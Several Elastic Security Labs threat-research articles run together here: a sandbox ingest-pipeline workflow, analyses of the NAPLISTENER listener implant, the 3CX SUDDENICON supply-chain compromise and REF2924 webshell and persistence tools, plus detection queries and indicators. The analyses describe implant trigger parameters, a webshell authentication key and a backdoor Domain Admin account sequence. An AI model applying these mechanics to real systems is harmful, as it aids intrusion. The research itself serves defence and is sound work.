7. Write Secure Code: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.
8. Regularly Patch and Update Systems: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.

By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.

Observations

The following observables were discussed in this research. These are available for download in STIX or ECS format here.

References

The following were referenced throughout the above research:

• https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
• https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
• https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
• https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
• https://github.com/hackerschoice/gsocket

In previous publications, we have written about Detonate: how we built it and how we use it within Elastic for malware analysis. This publication delves deeper into using Detonate for dynamic large-scale malware analysis.

At a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. For more information about Detonate, check out Click, Click… Boom! Automating Protections Testing with Detonate.

A significant portion of the data generated during execution consists of benign and duplicate information. When conducting dynamic malware analysis on a large scale, managing the vast amount of low-value data is a considerable challenge. To address it, we took advantage of several Elastic ingest pipelines, which we leveraged to effectively filter out noise from our datasets. This application of ingest pipelines enabled us to conveniently analyze our large volumes of malware data and identify several malicious behaviors that we were already interested in.

This research examines the concept of ingest pipelines, exploring their different types and applications, and how to implement them. We will then walk through a comprehensive workflow incorporating these ingest pipelines. We will discuss our scripts and the methods that we created in order to automate the entire process. Finally, we will present our results and discuss how the workflow shared in this publication can be leveraged by others to obtain similar outcomes.

Overview

In order to accomplish our large-scale malware analysis goals, we required effective data management. An overview of the chained ingest pipelines and processors that we built is shown below:

In summary, we fingerprint known good binaries and store those fingerprints in an enrich index. We do the same thing when we detonate malware or an unknown binary, using a comparison of those fingerprints to quickly filter out low-value data.

Ingest pipelines

Ingest pipelines are a powerful feature that allows you to preprocess and transform data before indexing it into Elasticsearch. They provide a way to perform various actions on incoming documents, such as enriching the data, modifying fields, extracting information, or applying data normalization. Ingest pipelines can be customized to meet specific data processing requirements. Our objective was to create a pipeline that differentiates known benign documents from a dataset containing both benign and malicious records. We ingested large benign and malicious datasets into separate namespaces and built pipelines to normalize the data, calculate fingerprints, and add a specific label based on certain criteria. This label helps differentiate between known benign and unknown data.

Normalization

Normalization is the process of organizing and transforming data into a consistent and standardized format. When dealing with lots of different data, normalization becomes important to ensure consistency, improve search and analysis capabilities, and enable efficient data processing.

The goal is to make sure documents with unique identifiers are no longer unique. For example, we remove the unique 6-character filename of the Elastic Agent in the " /opt/Elastic/Agent/data/" directory after installation. This ensures data from different Elastic Agents can be fully comparable, leading to more filtering opportunities in later pipeline phases.

To accomplish this, we leveraged the gsub pipeline. It allowed us to apply regex-based transformations to fields within the data pipeline. We performed pattern matching and substitution operations to normalize event data, such as removing special characters, converting text to lowercase, or replacing certain patterns with standardized values.

By analyzing our dataset, we discovered a set of candidates that would require normalization, and created a simple Python script to generate a list of gsub processors based on the matching value and the replacement value. The script that we leveraged can be found on GitHub. Using the output of the script, we can leverage dev tools to create a pipeline containing the generated gsub processors.

Prior to utilizing the normalization pipeline, documents would contain random 6 character strings for every single Elastic agent. An example is displayed below.

After ingesting and manipulating the documents through the normalization pipeline, the result looks like the following.

When all documents are normalized, we can continue with the fingerprint calculation process.

Fingerprint calculation

Fingerprint calculations are commonly used to generate a unique identifier for documents based on their content. The fingerprint ingest pipeline provides a convenient way to generate such identifiers by computing a hash value based on the specified fields and options, allowing for efficient document deduplication and comparison. The pipeline offers various options, including algorithms (such as MD5 or SHA-1), target fields for storing the generated fingerprints, and the ability to include or exclude specific fields in the calculation.

We needed to calculate the fingerprints of documents ingested into Elasticsearch from several sources and integrations such as endpoint, auditd manager, packetbeat, file integrity monitoring etc. To calculate the fingerprints, we first needed to specify which fields we wanted to calculate them for. Because different data sources use different fields, it was important to create separate processors for each data type. For our use case, we ended up creating a different fingerprint processor for the following set of event categories:

By specifying a condition we ensure that each processor only runs on its corresponding dataset.

The included fields to these processors are of the utmost importance, as they can indicate if a field is less static than expected or if an empty field could result in a non-functional pipeline. For example, when working with network data, it might initially make sense to include protocol, destination ip, destination port, source ip and source port. But this will lead to too much noise in the pipeline, as the socket that is opened on a system will be opened on an ephemeral source port, which will result in many unique fingerprints for otherwise identical network traffic. Some fields that may be subject to change relate to file sizes, version numbers, or specific text fields that are not being parsed. Normalization sometimes preserves fields that aren't useful for fingerprinting, and the more specific the fingerprint the less useful it tends to be. Fingerprinting by file hash illustrates this, while adding an empty space to the file causes a new hash to be calculated, this would break an existing hash-based fingerprint of the file.

Field selection is a tedious process but vital for good results. For a specific integration, like auditd manager, we can find the exported fields on GitHub and pick the ones that seem useful for our purposes. An example of the processor that we used for auditd\_manager can be found in the image below.

Enrichment process

The enrich ingest pipeline is used for enriching incoming documents with additional information from external data sources. It allows you to enrich your data by performing lookups against an index or data set, based on specific criteria. Common use cases for the enrich ingest pipeline include augmenting documents with data from reference datasets (such as geolocation or customer information) and enriching logs with contextual information (like threat intelligence labels).

For this project we leveraged enrich pipelines to add a unique identifier to the ingested document if it met certain criteria described within an enrich policy. To accomplish this, we first ingested a large and representative batch of benign data using a combination of normalization and fingerprint calculation pipelines. When the ingestion was completed, we set up several enrich policies through the execute enrich policy API. The execution of these enrich policies will create a set of new .enrich-* system indices. The results stored within these indices will later be used by the pipelines used to ingest mixed (benign and malicious) data.

This will make more sense with an example workflow. To leverage the enrich ingest pipeline, we first need to create enrich policies. As we are dealing with different data sources - meaning network data looks very different from auditd manager data - we will have to create one enrich policy per data type. In our enrich policy we may use a query to specify which documents we want to include in our enrich index and which ones we want to exclude. An example enrich policy that should add all auditd manager data to the enrich index, other than the data matching three specific match phrases, is displayed below.

We are leveraging the “fingerprint” field which is calculated in the fingerprint processor as our match field. This will create an index filled with benign fingerprints to be used as the enriching index within the enrich pipeline.

After creating this policy, we have to execute it for it to read the matching index, read the matching field, query for inclusions and exclusions, and create the new .enrich-* system index. We do this by executing a POST request to the _execute API.

We set wait_for_completion=false to make sure that the policy doesn’t time out. This might occur if the dataset is too large. When we navigate to index management and include hidden indices, we can see that the index is created successfully.

We now have a list of known benign fingerprints, which we will use within our enrich pipeline to filter our mixed dataset with. Our enrich pipeline will once again use a condition to differentiate between data sources. An overview of our enrich processors is displayed below.

Focusing on the auditd manager, we built an enrich processor using the condition field to check if the document's dataset is auditd_manager.auditd. If it matches, we reference the enrich policy we created for that dataset. Using the fingerprint field, we match and enrich incoming documents. If the fingerprint is known within the enrich indices we created, we add the "enrich_label" field with the fingerprint to the document. See the processor below.

Once a document originating from the auditd_manager.auditd dataset comes through, the enrich processor is executed, and this finally executes a script processor. The script processor allows us to run inline or stored scripts on incoming documents. We leverage this functionality to read each document in the pipeline, check whether the “enrich_label” field was added; and if this is the case, we set a new boolean field called “known_benign” to true and remove the “enrich_label” and “enriched_fingerprint” fields. If the document does not contain the “enrich_label” field, we set “known_benign” to false. This allows us to easily filter our mixed dataset in Kibana.

When using the “test pipeline” feature by adding a document that contains the “enrich_label”, we can see that the “fingerprint” and the “known_benign” fields are set.

For documents that do not contain “enrich_label”, just the fingerprint is set.

Working with these enrich policies requires some setup, but once they are well structured they can truly filter out a lot of noise. Because doing this manually is a lot of work, we created some simple Python scripts to somewhat automate this process. We will go into more detail about how to automate the creation of these enrich policies, their execution, the creation of the enrich pipeline and more shortly.

Ingest pipeline chaining

The pipeline ingest pipeline provides a way to chain multiple ingest pipelines. By chaining pipelines, we create a sequence of operations that collectively shapes the incoming data in the form that we want, facilitating our needs for data normalization, fingerprint calculation, and data enrichment.

In our work with Detonate, we ended up creating two ingest pipelines. The first will process benign data, which consists of a normalization pipeline and a fingerprint calculation pipeline. The next will process malicious data, consisting of a normalization, fingerprint calculation, and enrichment pipeline. An example of this would be the following:

With the pipelines in place, we need to ensure that they are actually being used when ingesting data. To accomplish this, we leverage component templates.

Component templates

Component templates are reusable configurations that define the settings and mappings for specific types of Elasticsearch components. They provide a convenient way to define and manage consistent configurations across multiple components, simplifying the management and maintenance of resources.

When you first start using any fleet integrations, you would notice that a lot of component templates are created by default. These are also tagged as "managed", meaning that you can't change the configuration.

In order to accommodate users that want to post process events that are ingested via the fleet managed agent, all index templates call out to a final component template whose name ends in @custom.

The settings you put in these components will never be changed by updates. In our use case, we use these templates to add a mapping for the enrichment fields. Most of the data that is ingested via the fleet and its integrations will go through an ingest pipeline. These pipelines will follow the same pattern in order to accommodate user customizations. Take for example the following ingest pipeline:

We can see that it is managed by fleet and it is tied to a specific version (e.g. 8.8.0) of the integration. The processor will end by calling the @custom pipeline, and ignore it if it doesn't exist.

We want to add our enrichment data to the documents using the enrichment pipelines we described in the previous section. This can now simply be done by creating the @custom pipeline and having that call out to the enrichment pipeline.

Automating the process

In order to create the gsub processors, ingest pipelines, and enrich policies, we had to use three Python scripts. In the next section we will showcase these scripts. If you choose to integrate these scripts, remember that you will need to adjust them to match your own environment in order to make them work.

Creating the gsub ingest pipelines

In order to create a gsub pipeline that will replace the given random paths by static ones we used a Python script that takes several fields and patterns as an input, and prints out a json object which can be used by the pipeline creation API.

Create Custom Pipelines

After setting up the gsub pipeline, we leveraged a second Python script that searches for all fleet managed configurations that call an @custom ingest pipeline. It will then create the appropriate pipeline, after which all the custom pipelines will be pointing to the process_local_events pipeline.

Generate Enrichment Processors

Finally, we created a third Python script that will handle the creation of enrichment processors in four steps.

1. The cleanup process : While an enrichment processor is used in an ingest pipeline it cannot be deleted. During testing and development we simply delete and recreate the ingest pipeline. This is of course not recommended for production environments.
2. Create enrich policies : The script will create every individual policy.
3. Execute the policies : This will start the process of creating the hidden enrichment system index. Note that the execution of the policy will take longer than the execution of the script as it will not wait for the completion of the command. Elastic will create the enrichment index in the background.
4. Re-create the ingest pipeline : After the enrich policy has been updated, we can now re-create the ingest pipeline that uses the enrichments.

After executing these three scripts, the whole setup is completed, and malicious data can be ingested into the correct namespace.

Results and limitations

Our benign dataset includes 53,267,892 documents generated by executing trusted binaries on a variety of operating systems and collecting events from high-value data sources. Using this normalized benign dataset, we calculated the fingerprints and created the enrich policies per data type.

With this setup in place, we detonated 332 samples. After removing the Elastic agent metrics and endpoint alerts from the datasets, we ended up with a mixed dataset containing a total number of 41,710,279 documents.

After setting “known_benign” to false, we end up with 1,321,949 documents. This is a decrease of 96.83% in document count.

The table below presents an overview of each data source and its corresponding number of documents before and after filtering on our “known_benign” field.

We can see that we managed to successfully filter most data sources by a decent percentage. Additionally, the numbers presented in the “after” column include malicious data that we do want to capture. For example, amongst the different malware samples several included ransomware - which tends to create a lot of file events. Also, all of the http traffic originated from malware samples trying to connect to their C2’s. The auditd_manager and fim.event datasets include a lot of the syscalls and file changes performed by the samples.

While building out this pipeline, several lessons were learnt. First of all, as mentioned before, if you add one wrong field to the fingerprint calculation the whole dataset might end up generating lots of noise. This can be seen by adding the source.port to the packetbeat fingerprint calculation, resulting in the endpoint.events.network and all network_traffic-* datasets to increase drastically.

The second lesson we learned: it is not only important to have a representative dataset, but it is also important to have a large dataset. These two go hand in hand, but we learnt that having a small dataset or a dataset that does not generate very similar behavior to the dataset that will be ingested later, will cause the pipelines to be less than half as effective.

Finally, some data sources are better suited for this filtering approach than others. For example, when dealing with system.syslog and system.auth events, most of the fields within the document (except the message field) are always the same. As we cannot use this approach for unstructured data, such as plain text fields, our filter would filter out 99% of the events when just looking at the remaining fields.

Visualizing results

Kibana offers many great options to visualize large datasets. We chose to leverage the Lens functionality within Kibana to search through our malicious dataset. By setting known\_benign to false, setting count of fingerprint as a metric, and sorting by ascending order, we can right away see different malware samples execute different tasks. Examples of file events is shown below.

Within this table, we can see - suspicious files being created in the /dev/shm/ directory - “ HOW_TO_DECRYPT.txt ” file creations indicating the creation of a ransom message - Files being changed to contain new random file extensions, indicating the ransomware encryption process.

When looking into file integrity monitoring events, we can also very easily distinguish benign events from malicious events by applying the same filter.

Right away we notice the creation of a symlink for a linux.service and bot.service , and several run control symlinks to establish persistence onto the system.

Looking at network connections, we can see connection\_attempted events from malicious samples to potential C2 servers on several uncommon ports.

Finally, looking at auditd manager syscall events, we can see the malware opening files such as cmdline and maps and attempting to change the permissions of several files.

Overall, in our opinion the data cleaning results are very promising and allow us to more efficiently conduct dynamic malware analysis on a large scale. The process can always be further optimized, so feel free to take advantage of our approach and fine tune it to your specific needs.

Beyond Dynamic Malware Analysis

In the previous sections we described our exact use case for leveraging fingerprint and enrich ingest pipelines. Other than malware analysis, there are many other fields that can reap the benefits of a workflow similar to the one outlined above. Several of these applications and use cases are described below:

• Forensics and Security: Fingerprinting can be employed in digital forensics and security investigations to identify and link related artifacts or events. It helps in tracing the origin of data, analyzing patterns, and identifying potential threats or anomalies in log files, network traffic, or system events. Researchers over at Microsoft leveraged fuzzy hashing in previous research to detect malicious web shell traffic.
• Identity Resolution: Fingerprinting can be used to uniquely identify individuals or entities across different data sources. This is useful in applications like fraud detection, customer relationship management, and data integration, where matching and merging records based on unique identifiers is crucial.
• Data Deduplication: Fingerprinting can help identify and eliminate duplicate records or documents within a dataset. By comparing fingerprints, you can efficiently detect and remove duplicate entries, ensuring data integrity and improving storage efficiency. Readers interested in data deduplication use cases might find great value in pre-built tools such as Logslash to achieve this goal.
• Content Management: Fingerprinting can be used in content management systems to detect duplicate or similar documents, images, or media files. It aids in content deduplication, similarity matching, and content-based searching by improving search accuracy and enhancing the overall user experience.
• Media Identification: Fingerprinting techniques are widely used in media identification and recognition systems. By generating unique fingerprints for audio or video content, it becomes possible to identify copyrighted material, detect plagiarism, or enable content recommendation systems based on media similarity.

Conclusion

There are many different approaches to dynamic malware analysis. This blog post explored some of these options by leveraging the powerful capabilities offered by Elastic. Our aim was to both present a new method of dynamic malware analysis while at the same time broadening your understanding and knowledge of the built-in functionalities within Elastic.

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

While continuing to monitor the REF2924 activity group, Elastic Security Labs observed that the attacker shifted priorities from data theft to persistent access using several mechanisms. On January 20, 2023, a new executable Wmdtc.exe was created and installed as a Windows Service using a naming convention similar to the legitimate binary used by the Microsoft Distributed Transaction Coordinator service ( Msdtc.exe ).

Wmdtc.exe is an HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. Notably, network- and log-based detection methods are common in the regions where this threat is primarily active (southern and southeastern asia).

Analysis

This unique malware sample contains a C# class called MsEXGHealthd that consists of three methods: Main , SetRespHeader , and Listener. This class establishes an HTTP request listener that can process incoming requests from the Internet, and respond accordingly by filtering malware commands and transparently passing along legitimate web traffic. This class is depicted in the following image:

Malware analysis

The Main method is invoked when the program runs and creates a thread object, which will be used by the Listener method. The thread is then put to sleep for 0 milliseconds, and then started. Implementing a sleep capability is consistent with SIESTAGRAPH, NAPLISTENER, and other malware developed or used by this group.

The SetRespHeader method sets the response headers for the HTTP response. It takes an HttpListenerResponse object as a parameter and defines headers such as Server , Content-Type , and X-Powered-By. In one aggressively-targeted victim environment, the IIS web server returns a 404 response with a Server header containing Microsoft-IIS/10.0 as seen below, unless specific parameters are present:

However, the 404 error when requesting the listener URI adds Content-Type: text/html; charset=utf-8 as an extra header. When NAPLISTENER is installed, the string Microsoft-HTTPAPI/2.0 is appended to the Server header. This behavior makes the listener detectable and does not generate a 404 error. It is likely this filtering methodology was chosen to avoid discovery by web scanners and similar technologies.

Defenders may instinctively search for these errors in IIS web server logs, but the NAPLISTENER implant functions inline and Windows will redirect these requests to the registered application, allowing the malware to ensure those errors never reach the web server logs where analysts may see them. Additionally, security tools that ingest web server logs will not have an opportunity to identify these behaviors.

The Listener method is where most of the work happens for NAPLISTENER.

First, this method creates an HttpListener object to handle incoming requests. If HttpListener is supported on the platform being used (which it should be), it adds a prefix to the listener and starts it.

Once running, it waits for incoming requests. When a request comes in, it reads any data that was submitted (stored in a Form field), decodes it from Base64 format, and creates a new HttpRequest object with the decoded data. It creates an HttpResponse object and an HttpContext object, using these two objects as parameters. If the submitted Form field contains sdafwe3rwe23 , it will try to create an assembly object and execute it using the Run method.

This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.

If that fails for some reason (e.g., invalid or missing data), then a "404 Not Found" response will be sent with an empty body instead . After either response has been sent, the stream is flushed and the connection closed before looping back to wait for more incoming requests.

Proof-of-concept prerequisites

Attention: Please remember that this is meant as a proof-of-concept to illustrate how NAPLISTENER must be prepared for a target environment: it should not be deployed in production environments for any reason.

In order to properly run NAPLISTENER, an SSL certificate must be generated and the application registered to use it on a target endpoint. A general example of generating a self-signed certificate resembles the following commands:

The adversary needs to then Import the certificate.pfx object into the windows certificate store, as depicted in the following image:

Each certificate contains a thumbprint, and the following screen capture depicts an example certificate:

The thumbprint value is necessary to register the application as seen in the following command:

The adversary needs to replace the certhash value with the thumbprint from their certificate. The appid is the GUID of the sample application ID. Once the environment is properly configured, the sample can be run from any privileged terminal.

The following python script created by Elastic Security Labs demonstrates one method that can then be used to trigger NAPLISTENER. The payload in this example is truncated for readability, and may be released at a later time when the industry has better ability to detect this methodology.

In our PoC, running the python script results in a harmless instance of calc.exe.

Resources

Elastic Security Labs has published a NAPLISTENER signature to the open protections artifact repository here.

Sources

Code similarity analyses are an important part of our process. During our investigation of NAPLISTENER, we identified a public GitHub repository that contains a similar project. Similar logic and identical debugging strings are present in both pieces of code, and we assess that SharpMemshell may have inspired the threat responsible for NAPLISTENER.

Key takeaways

• The attacker has shifted their focus from data theft to establishing persistent access using new malware including NAPLISTENER, an HTTP listener written in C#
• NAPLISTENER creates an HTTP request listener that can process incoming requests from the internet, reads any data that was submitted, decodes it from Base64 format, and executes it in memory
• NAPLISTENER is designed to evade network-based detection methods by behaving similarly to web servers
• The attacker relies on code present in public repositories for a variety of purposes, and may be developing additional prototypes and production-quality code from open sources

• Elastic users are protected from supply chain attacks targeting the 3CX users
• How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams
• Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists

Preamble

On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users as detailed in a Reddit post. Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 as reported by Todyl.

3CX states it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.

In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware

SUDDENICON triage analysis

The 3CXDesktopApp installer MSI appears to contain malicious code which waits seven days post-installation before downloading additional files from GitHub and communicating with malicious command-and-control domains. The client application writes ffmpeg.dll and d3dcompiler\_47.dll to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that ffmpeg.dll and d3dcompiler\_47.dll are both legitimate file names and rules should not be created on them alone.

The ffmpeg.dll binary extracts SUDDENICON from d3dcompiler\_47.dll by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (3jB(2bsG#@c7). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been associated with DPRK. Upon successfully executing, this shellcode stub writes a new file ( manifest ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.

C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the IconStorages Github repository (this repository has been removed by Github). This repo was created by GitHub ID 120072117 on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.

Initial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.

The CEO of 3CX has recommended uninstalling the software; a small number of community forum posts outline how security tooling is reacting to potential malware behaviors, and CrowdStrike and SentinelOne have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.

Detection logic

Prevention

• Memory Threat Detection Alert: Shellcode injection
• Windows.Trojan.SuddenIcon

Hunting queries

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

KQL queries

The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:

process.name : "3CXDesktopApp.exe" and dns.question.name : "raw.githubusercontent.com"

The following KQL query can be used to identify several host-based indicators of this activity:

dll.hash.sha256  : "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896" or dll.hash.sha256 :  "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.

The following EQL query can be used to profile 3CX software and child software:

any where process.code_signature.subject_name == "3CX Ltd" or process.parent.code_signature.subject_name == "3CX Ltd"

The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:

network where process.code_signature.subject_name == "3CX Ltd" and dns.question.name == “raw.githubusercontent.com”

The following EQL query can be used to identify files written by the 3CXDesktopApp client:

file where event.type == "creation" and (host.os.type == "windows" and file.path : "*:\\Users\\*\\AppData\\Local\\Programs\\C3XDesktopApp\\app\\*" and file.name : ("manifest")) or (host.os.type == "macos" and file.path : "*/Library/Application Support/3CX Desktop App/" and file.name : ("UpdateAgent", ".main_storage", ".session-lock")

The following EQL query can be used to identify several host-based indicators of this activity:

sequence by host.name, process.entity_id[process where process.code_signature.subject_name:"3CX Ltd"][library where dll.hash.sha256:"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02","7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"][network where dns.question.name:"raw.githubusercontent.com"]

The following EQL query can be used to identify this activity if the DLL is updated:

library where process.code_signature.subject_name : "3CX Ltd" and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))

YARA

Elastic Security Labs has released two YARA signatures for the malicious shellcode, which we refer to as SUDDENICON.

Defensive recommendations

Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.

References

The following were referenced throughout the above research: - https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/ - https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/ - https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign

Indicators

Potentially malicious domains

Bold domains indicate that they were observed in our analysis.

• akamaicontainer[.]com
• akamaitechcloudservices[.]com
• azuredeploystore[.]com
• azureonlinecloud[.]com
• azureonlinestorage[.]com
• dunamistrd[.]com
• glcloudservice[.]com
• journalide[.]org
• msedgepackageinfo[.]com
• msstorageazure[.]com
• msstorageboxes[.]com
• officeaddons[.]com
• officestoragebox[.]com
• pbxcloudeservices[.]com
• pbxphonenetwork[.]com
• pbxsources[.]com
• qwepoi123098[.]com
• sbmsa[.]wiki
• sourceslabs[.]com
• visualstudiofactory[.]com
• zacharryblogs[.]com

Potentially impacted 3CXDesktopApp versions and hashes:

Client hash: dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc OS: Windows Installer hash: aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 Installer filename: 3cxdesktopapp-18.12.407.msi

Client hash: fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 OS: Windows Installer hash: 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 Installer filename: 3cxdesktopapp-18.12.416.msi

Client hash: 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 OS: macOS Installer hash: 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 Installer filename: 3CXDesktopApp-18.11.1213.dmg

Client hash: b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb OS: macOS Installer hash: e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec Installer filename: 3cxdesktopapp-latest.dmg

In recent months, there has been a noticeable shift in the nature of the incidents being tracked under REF2924. Initially, the attacker employed custom, purpose-built malware. As the attack evolved, we observed the same group resorting to the use of open source tools or publicly available source code as a basis for developing new capabilities.

Key takeaways

• The attacker has shifted from using custom malware to open source tools or publicly available source code to develop new capabilities.

  • The attacker has also deployed open source tools like TFirewall and AdFind in the victim's environment.
  • In order to maintain persistence the attacker has deployed multiple different tools and techniques.

.NET Webshell

On February 16th, 2023 Elastic Security Labs observed the Microsoft .NET compiler ( csc.exe ) being used to compile a DLL file,. The output was identified by Elastic Defend as a malicious file. Analysts who may have observed dynamic runtime compilation of .NET web shells should note that this was performed by the operator, not automatically by the system.

The resulting output file was named App_Web_lgntop.aspx.ec688436.pkx46see.dll (a50ca8df4181918fe0636272f31e19815f1b97cce6d871e15e03b0ee0e3da17b) and was the subject of malware analysis.

Analysis

The web shell requires a small amount of pre-configuration to ensure it listens for the correct URI. In this case the path will be " ~/auth/Current/themes/resources/lgntop.aspx".

This path is expected on Microsoft Exchange Outlook Web Access (OWA) sites, so it was likely selected to blend in with the OWA service that is running on the target server. Once a web request is received it is processed by the following method.

This method checks if a specific HTTP header named XFF is present in the request headers. If it is present and its value, after passing through an MD5 hash function and a substring function, matches the string " 19267E61029B4546", then the method proceeds to execute the rest of the code. The string is likely used as an authentication key to prevent others from using the webshell.

Within the if statement, the method reads the binary data from the request body using the BinaryRead method and stores it in a byte array. It then creates a string containing the fully qualified name of a .NET type that the code wants to load and gets a reference to that type using the Type.GetType method. The byte array in the image is the ASCII code representation of the text “ System.Reflection.Assembly ”. This way of presenting the code is done in order to avoid string-based detection. The System.Reflection.Assembly class provides methods and properties to load, examine, and manipulate assemblies at runtime.

The code obtains a reference to a method named Load in the loaded type and invokes it using the Invoke method. The Load method takes a byte array as a parameter, which the code decrypts using a Decrypt method (not shown in this publication). The result of the Load method invocation is stored in an object variable.

The code then gets a reference to another method named CreateInstance in the loaded type and invokes it using the Invoke method. The CreateInstance method takes a string as a parameter, which the code constructs from a byte array containing the ASCII codes for the string U. The result of the CreateInstance method invocation is stored in an object variable.

Finally, the code calls the Equals method on the object, passing in the current object. Because Equals will call GetType on the object, this approach is a way to indirectly call functions covertly.

The Encrypt and Decrypt functions include a hard-coded key.

Sources

The key " e45e329feb5d925b" is the result of taking the first half of the MD5 hash of the string "rebeyond". The string “rebeyond” refers to the developer of the Behinder web shell framework. This refers to the developer of the Behinder webshell framework. This key is also the default value when you generate a shell template using the Behinder or derivative Godzilla webshell frameworks.

Persistence module

On February 13, 2023, we observed a new persistent malware called kavUpdate.exe written in .NET with an exceptionally small footprint (about 6Kb compiled). We believe this software was developed specifically for this environment by the threat. Elastic Security Labs observed this binary persisting via a Scheduled Task, though other mechanisms would likely be compatible.

Analysis

This code is designed with the sole purpose of executing a set of predefined commands. The malware checks the current day and hour, and if it is Monday or Thursday at 5am, it will execute a series of commands:

1. Delete the user 'norshasa'
2. Add the user 'norshasa' with the password 'P@ssw0rd123...'
3. Activate the user 'norshasa'
4. Add the user 'norshasa' to the Domain Admins group
5. Add the user 'norshasa' to the Remote Desktop Users group
6. Create a full backup of NTDS in the C:\ProgramData\temp folder
7. On the same days of the week, one hour later at 6am, delete the user 'norshasa.'

Open source tools

On January 2nd, 2023 the threat deployed TFirewall in the victim's environment. TFirewall is a testing tool designed to evaluate whether hosts can establish a SOCKS5 proxy within an intranet environment while allowing for outbound network communication through specific ports. Developed using Golang, TFirewall is comprised of a client and server component and is compatible with multiple operating systems.

Along with TFirewall, we observed that the attacker used the free tool AdFind. AdFind is a command line utility for querying Active Directory and other directory services. AdFind can be run on Windows 7 or newer and requires no special security permissions beyond the ability to launch executables. It’s written in C++ and compiled with Visual Studio 2022. The source code is not available.

The binary is quickly identifiable based on its hash (114b37df703d46a44de0bc96afab8b8590e59a3c389558dd531298e5dd275acb). During execution, we recognized the use of AdFind-specific command line flags and parameters:

On March 6th, 2023 we observed a process named nat.exe. Initially, the file was only identified as generically malicious. However, if we take a closer look at the command line parameters that are used during execution, we have a hint for which tool the attacker is using.

